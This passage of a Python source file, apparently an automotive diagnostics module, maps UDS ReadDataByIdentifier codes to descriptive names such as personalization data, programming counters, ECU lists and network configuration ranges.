\"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23df] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23e0] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23e1] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23e2] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23e3] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23e4] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23e5] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23e6] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23e7] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23e8] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23e9] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23ea] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23eb] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23ec] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23ed] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23ee] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23ef] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23f0] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23f1] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23f2] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23f3] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23f4] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23f5] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23f6] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23f7] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23f8] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23f9] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23fa] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23fb] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23fc] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23fd] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23fe] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23ff] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2400] = \"personalizationDataDriver0\"\nUDS_RDBI.dataIdentifiers[0x2401] = \"additionalpersonalizationDataDriver0\"\nUDS_RDBI.dataIdentifiers[0x2402] = \"additionalpersonalizationDataDriver0\"\nUDS_RDBI.dataIdentifiers[0x2403] = \"additionalpersonalizationDataDriver0\"\nUDS_RDBI.dataIdentifiers[0x2404] = \"additionalpersonalizationDataDriver0\"\nUDS_RDBI.dataIdentifiers[0x2405] = \"additionalpersonalizationDataDriver0\"\nUDS_RDBI.dataIdentifiers[0x2406] = \"additionalpersonalizationDataDriver0\"\nUDS_RDBI.dataIdentifiers[0x2407] = \"additionalpersonalizationDataDriver0\"\nUDS_RDBI.dataIdentifiers[0x2408] = \"additionalpersonalizationDataDriver0\"\nUDS_RDBI.dataIdentifiers[0x2409] = \"additionalpersonalizationDataDriver0\"\nUDS_RDBI.dataIdentifiers[0x240a] = \"additionalpersonalizationDataDriver0\"\nUDS_RDBI.dataIdentifiers[0x240b] = \"additionalpersonalizationDataDriver0\"\nUDS_RDBI.dataIdentifiers[0x240c] = \"additionalpersonalizationDataDriver0\"\nUDS_RDBI.dataIdentifiers[0x240d] = \"additionalpersonalizationDataDriver0\"\nUDS_RDBI.dataIdentifiers[0x240e] = \"additionalpersonalizationDataDriver0\"\nUDS_RDBI.dataIdentifiers[0x240f] = \"additionalpersonalizationDataDriver0\"\nUDS_RDBI.dataIdentifiers[0x2410] = \"personalizationDataDriver1\"\nUDS_RDBI.dataIdentifiers[0x2411] = \"additionalPersonalizationDataDriver1\"\nUDS_RDBI.dataIdentifiers[0x2412] = \"additionalPersonalizationDataDriver1\"\nUDS_RDBI.dataIdentifiers[0x2413] = \"additionalPersonalizationDataDriver1\"\nUDS_RDBI.dataIdentifiers[0x2414] = \"additionalPersonalizationDataDriver1\"\nUDS_RDBI.dataIdentifiers[0x2415] = \"additionalPersonalizationDataDriver1\"\nUDS_RDBI.dataIdentifiers[0x2416] = \"additionalPersonalizationDataDriver1\"\nUDS_RDBI.dataIdentifiers[0x2417] = \"additionalPersonalizationDataDriver1\"\nUDS_RDBI.dataIdentifiers[0x2418] = \"additionalPersonalizationDataDriver1\"\nUDS_RDBI.dataIdentifiers[0x2419] = \"additionalPersonalizationDataDriver1\"\nUDS_RDBI.dataIdentifiers[0x241a] = \"additionalPersonalizationDataDriver1\"\nUDS_RDBI.dataIdentifiers[0x241b] = \"additionalPersonalizationDataDriver1\"\nUDS_RDBI.dataIdentifiers[0x241c] = \"additionalPersonalizationDataDriver1\"\nUDS_RDBI.dataIdentifiers[0x241d] = \"additionalPersonalizationDataDriver1\"\nUDS_RDBI.dataIdentifiers[0x241e] = \"additionalPersonalizationDataDriver1\"\nUDS_RDBI.dataIdentifiers[0x241f] = \"additionalPersonalizationDataDriver1\"\nUDS_RDBI.dataIdentifiers[0x2420] = \"personalizationDataDriver2\"\nUDS_RDBI.dataIdentifiers[0x2421] = \"additionalpersonalizationDataDriver2\"\nUDS_RDBI.dataIdentifiers[0x2422] = \"additionalpersonalizationDataDriver2\"\nUDS_RDBI.dataIdentifiers[0x2423] = \"additionalpersonalizationDataDriver2\"\nUDS_RDBI.dataIdentifiers[0x2424] = \"additionalpersonalizationDataDriver2\"\nUDS_RDBI.dataIdentifiers[0x2425] = \"additionalpersonalizationDataDriver2\"\nUDS_RDBI.dataIdentifiers[0x2426] = \"additionalpersonalizationDataDriver2\"\nUDS_RDBI.dataIdentifiers[0x2427] = \"additionalpersonalizationDataDriver2\"\nUDS_RDBI.dataIdentifiers[0x2428] = \"additionalpersonalizationDataDriver2\"\nUDS_RDBI.dataIdentifiers[0x2429] = \"additionalpersonalizationDataDriver2\"\nUDS_RDBI.dataIdentifiers[0x242a] = \"additionalpersonalizationDataDriver2\"\nUDS_RDBI.dataIdentifiers[0x242b] = \"additionalpersonalizationDataDriver2\"\nUDS_RDBI.dataIdentifiers[0x242c] = \"additionalpersonalizationDataDriver2\"\nUDS_RDBI.dataIdentifiers[0x242d] = \"additionalpersonalizationDataDriver2\"\nUDS_RDBI.dataIdentifiers[0x242e] = \"additionalpersonalizationDataDriver2\"\nUDS_RDBI.dataIdentifiers[0x242f] = \"additionalpersonalizationDataDriver2\"\nUDS_RDBI.dataIdentifiers[0x2430] = \"personalizationDataDriver3\"\nUDS_RDBI.dataIdentifiers[0x2431] = \"additionalPersonalizationDataDriver3\"\nUDS_RDBI.dataIdentifiers[0x2432] = \"additionalPersonalizationDataDriver3\"\nUDS_RDBI.dataIdentifiers[0x2433] = \"additionalPersonalizationDataDriver3\"\nUDS_RDBI.dataIdentifiers[0x2434] = \"additionalPersonalizationDataDriver3\"\nUDS_RDBI.dataIdentifiers[0x2435] = \"additionalPersonalizationDataDriver3\"\nUDS_RDBI.dataIdentifiers[0x2436] = \"additionalPersonalizationDataDriver3\"\nUDS_RDBI.dataIdentifiers[0x2437] = \"additionalPersonalizationDataDriver3\"\nUDS_RDBI.dataIdentifiers[0x2438] = \"additionalPersonalizationDataDriver3\"\nUDS_RDBI.dataIdentifiers[0x2439] = \"additionalPersonalizationDataDriver3\"\nUDS_RDBI.dataIdentifiers[0x243a] = \"additionalPersonalizationDataDriver3\"\nUDS_RDBI.dataIdentifiers[0x243b] = \"additionalPersonalizationDataDriver3\"\nUDS_RDBI.dataIdentifiers[0x243c] = \"additionalPersonalizationDataDriver3\"\nUDS_RDBI.dataIdentifiers[0x243d] = \"additionalPersonalizationDataDriver3\"\nUDS_RDBI.dataIdentifiers[0x243e] = \"additionalPersonalizationDataDriver3\"\nUDS_RDBI.dataIdentifiers[0x243f] = \"additionalPersonalizationDataDriver3\"\nUDS_RDBI.dataIdentifiers[0x2500] = \"programmReferenzBackup/vehicleManufacturerECUHW_NrBackup\"  # noqa E501\nUDS_RDBI.dataIdentifiers[0x2501] = \"MemorySegmentationTable\"\nUDS_RDBI.dataIdentifiers[0x2502] = \"ProgrammingCounter\"\nUDS_RDBI.dataIdentifiers[0x2503] = \"ProgrammingCounterMax\"\nUDS_RDBI.dataIdentifiers[0x2504] = \"FlashTimings\"\nUDS_RDBI.dataIdentifiers[0x2505] = \"MaxBlocklength\"\nUDS_RDBI.dataIdentifiers[0x2506] = \"ReadMemoryAddress\"  # or maximaleBlockLaenge  # noqa E501\nUDS_RDBI.dataIdentifiers[0x2507] = \"EcuSupportsDeleteSwe\"\nUDS_RDBI.dataIdentifiers[0x2508] = \"GWRoutingStatus\"\nUDS_RDBI.dataIdentifiers[0x2509] = \"RoutingTable\"\nUDS_RDBI.dataIdentifiers[0x2530] = \"SubnetStatus\"\nUDS_RDBI.dataIdentifiers[0x2541] = \"STATUS_CALCVN\"\nUDS_RDBI.dataIdentifiers[0x3000] = \"RDBI_CD_REQ\"  # or WDBI_CD_REQ\nUDS_RDBI.dataIdentifiers[0x300a] = \"Codier-VIN\"\nUDS_RDBI.dataIdentifiers[0x37fe] = \"Codierpruefstempel\"\nUDS_RDBI.dataIdentifiers[0x3f00] = \"SVT-Ist\"\nUDS_RDBI.dataIdentifiers[0x3f01] = \"SVT-Soll\"\nUDS_RDBI.dataIdentifiers[0x3F02] = \"VcmEcuListSecurity\"\nUDS_RDBI.dataIdentifiers[0x3F03] = \"VcmEcuListSwt\"\nUDS_RDBI.dataIdentifiers[0x3F04] = \"VcmNotificationTimeStamp\"\nUDS_RDBI.dataIdentifiers[0x3F05] = \"VcmSerialNumberReferenceList\"\nUDS_RDBI.dataIdentifiers[0x3F06] = \"VcmVehicleOrder\"\nUDS_RDBI.dataIdentifiers[0x3F07] = \"VcmEcuListAll\"\nUDS_RDBI.dataIdentifiers[0x3F08] = \"VcmEcuListActiveResponse\"\nUDS_RDBI.dataIdentifiers[0x3F09] = \"VcmVehicleProfile\"\nUDS_RDBI.dataIdentifiers[0x3F0A] = \"VcmEcuListDiffProg\"\nUDS_RDBI.dataIdentifiers[0x3F0B] = \"VcmEcuListNgsc\"\nUDS_RDBI.dataIdentifiers[0x3F0C] = \"VcmEcuListCodingRelevant\"\nUDS_RDBI.dataIdentifiers[0x3F0D] = \"VcmEcuListFlashable\"\nUDS_RDBI.dataIdentifiers[0x3F0E] = \"VcmEcuListKCan\"\nUDS_RDBI.dataIdentifiers[0x3F0F] = \"VcmEcuListBodyCan\"\nUDS_RDBI.dataIdentifiers[0x3F10] = \"VcmEcuListSFCan\"\nUDS_RDBI.dataIdentifiers[0x3F11] = \"VcmEcuListMost\"\nUDS_RDBI.dataIdentifiers[0x3F12] = \"VcmEcuListFaCan\"\nUDS_RDBI.dataIdentifiers[0x3F13] = \"VcmEcuListFlexray\"\nUDS_RDBI.dataIdentifiers[0x3F14] = \"VcmEcuListACan\"\nUDS_RDBI.dataIdentifiers[0x3F15] = \"VcmEcuListIso14229\"\nUDS_RDBI.dataIdentifiers[0x3F16] = \"VcmEcuListSCan\"\nUDS_RDBI.dataIdentifiers[0x3F17] = \"VcmEcuListEthernet\"\nUDS_RDBI.dataIdentifiers[0x3F18] = \"VcmEcuListDCan\"\nUDS_RDBI.dataIdentifiers[0x3F19] = \"VcmVcmIdentification\"\nUDS_RDBI.dataIdentifiers[0x3F1A] = \"VcmSvtVersion\"\nUDS_RDBI.dataIdentifiers[0x3f1b] = \"vehicleOrder_3F00_3FFE\"\nUDS_RDBI.dataIdentifiers[0x3f1c] = \"FA_Teil1\"\nUDS_RDBI.dataIdentifiers[0x3f1d] = \"FA_Teil2\"\nUDS_RDBI.dataIdentifiers[0x3fff] = \"changeIndexOfCodingData\"\nUDS_RDBI.dataIdentifiers[0x4000] = \"GWTableVersion\"\nUDS_RDBI.dataIdentifiers[0x4001] = \"WakeupSource\"\nUDS_RDBI.dataIdentifiers[0x4020] = \"StatusLearnFlexray\"\nUDS_RDBI.dataIdentifiers[0x4021] = \"StatusFlexrayPath\"\nUDS_RDBI.dataIdentifiers[0x4030] = \"EthernetRegisters\"\nUDS_RDBI.dataIdentifiers[0x4031] = \"EthernetStatusInformation\"\nUDS_RDBI.dataIdentifiers[0x403c] = \"STATUS_CALCVN_EA\"\nUDS_RDBI.dataIdentifiers[0x4040] = \"DemLockingMasterState\"\nUDS_RDBI.dataIdentifiers[0x4050] = \"AmbiguousRoutings\"\nUDS_RDBI.dataIdentifiers[0x4080] = \"AirbagLock_NEU\"\nUDS_RDBI.dataIdentifiers[0x4140] = \"BodyComConfig\"\nUDS_RDBI.dataIdentifiers[0x4ab4] = \"Betriebsstundenzaehler\"\nUDS_RDBI.dataIdentifiers[0x5fc2] = \"WDBI_DME_ABGLEICH_PROG_REQ\"\nUDS_RDBI.dataIdentifiers[0xd114] = \"Gesamtweg-Streckenzaehler Offset\"\nUDS_RDBI.dataIdentifiers[0xd387] = \"STATUS_DIEBSTAHLSCHUTZ\"\nUDS_RDBI.dataIdentifiers[0xdb9c] = \"InitStatusEngineAngle\"\nUDS_RDBI.dataIdentifiers[0xEFE9] = \"WakeupRegistry\"\nUDS_RDBI.dataIdentifiers[0xEFE8] = \"ClearWakeupRegistry\"\nUDS_RDBI.dataIdentifiers[0xf000] = \"networkConfigurationDataForTractorTrailerApplication\"  # noqa E501\nUDS_RDBI.dataIdentifiers[0xf001] = \"networkConfigurationDataForTractorTrailerApplication\"  # noqa E501\nUDS_RDBI.dataIdentifiers[0xf002] = \"networkConfigurationDataForTractorTrailerApplication\"  # noqa E501\nUDS_RDBI.dataIdentifiers[0xf003] = \"networkConfigurationDataForTractorTrailerApplication\"  # noqa E501\nUDS_RDBI.dataIdentifiers[0xf004] = \"networkConfigurationDataForTractorTrailerApplication\"  # noqa E501\nUDS_RDBI.dataIdentifiers[0xf005] = \"networkConfigurationDataForTractorTrailerApplication\"  # noqa E501\nUDS_RDBI.dataIdentifiers[0xf006] = \"networkConfigurationDataForTractorTrailerApplication\"  # noqa E501\nUDS_RDBI.dataIdentifiers[0xf007] = \"networkConfigurationDataForTractorTrailerApplication\"  # noqa E501\nUDS_RDBI.dataIdentifiers[0xf008] = \"networkConfigurationDataForTractorTrailerApplication\"  # noqa E501\nUDS_RDBI.dataIdentifiers[0xf009] = \"networkConfigurationDataForTractorTrailerApplication\"  # noqa E501\nUDS_RDBI.dataIdentifiers[0xf00a] = \"networkConfigurationDataForTractorTrailerApplication\"  # noqa E501\nUDS_RDBI.dataIdentifiers[0xf00b] = \"networkConfigurationDataForTractorTrailerApplication\"  # noqa E501\nUDS_RDBI.dataIdentifiers[0xf00c] = \"networkConfigurationDataForTractorTrailerApplication\"  # noqa E501\nUDS_RDBI.dataIdentifiers[0xf00d] = \"networkConfigurationDataForTractorTrailerApplication\"  # noqa E501\nUDS_RDBI.dataIdentifiers[0xf00e] = \"networkConfigurationDataForTractorTrailerApplication\"  # noqa E501\nUDS_RDBI.dataIdentifiers[0xf00f] = \"networkConfigurationDataForTractorTrailerApplication\"  # noqa E501\nUDS_RDBI.dataIdentifiers[0xf010] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf011] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf012] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf013] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf014] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf015] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf016] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf017] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf018] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf019] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf01a] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf01b] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf01c] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf01d] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf01e] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf01f] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf020] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf021] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf022] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf023] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf024] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf025] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf026] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf027] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf028] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf029] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf02a] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf02b] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf02c] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf02d] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf02e] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf02f] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf030] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf031] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf032] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf033] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf034] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf035] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf036] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf037] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf038] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf039] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf03a] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf03b] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf03c] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf03d] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf03e] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf03f] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf040] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf041] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf042] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf043] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf044] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf045] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf046] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf047] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf048] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf049] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf04a] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf04b] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf04c] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf04d] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf04e] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf04f] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf050] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf051] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf052] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf053] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf054] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf055] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf056] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf057] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf058] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf059] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf05a] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf05b] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf05c] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf05d] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf05e] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf05f] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf060] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf061] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf062] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf063] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf064] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf065] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf066] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf067] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf068] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf069] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf06a] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf06b] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf06c] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf06d] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf06e] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf06f] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf070] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf071] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf072] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf073] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf074] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf075] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf076] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf077] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf078] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf079] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf07a] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf07b] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf07c] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf07d] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf07e] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf07f] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf080] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf081] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf082] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf083] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf084] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf085] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf086] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf087] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf088] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf089] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf08a] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf08b] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf08c] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf08d] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf08e] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf08f] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf090] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf091] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf092] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf093] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf094] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf095] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf096] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf097] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf098] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf099] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf09a] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf09b] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf09c] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf09d] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf09e] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf09f] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0a0] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0a1] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0a2] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0a3] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0a4] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0a5] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0a6] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0a7] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0a8] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0a9] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0aa] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0ab] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0ac] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0ad] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0ae] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0af] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0b0] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0b1] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0b2] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0b3] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0b4] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0b5] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0b6] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0b7] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0b8] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0b9] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0ba] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0bb] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0bc] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0bd] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0be] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0bf] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0c0] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0c1] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0c2] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0c3] = 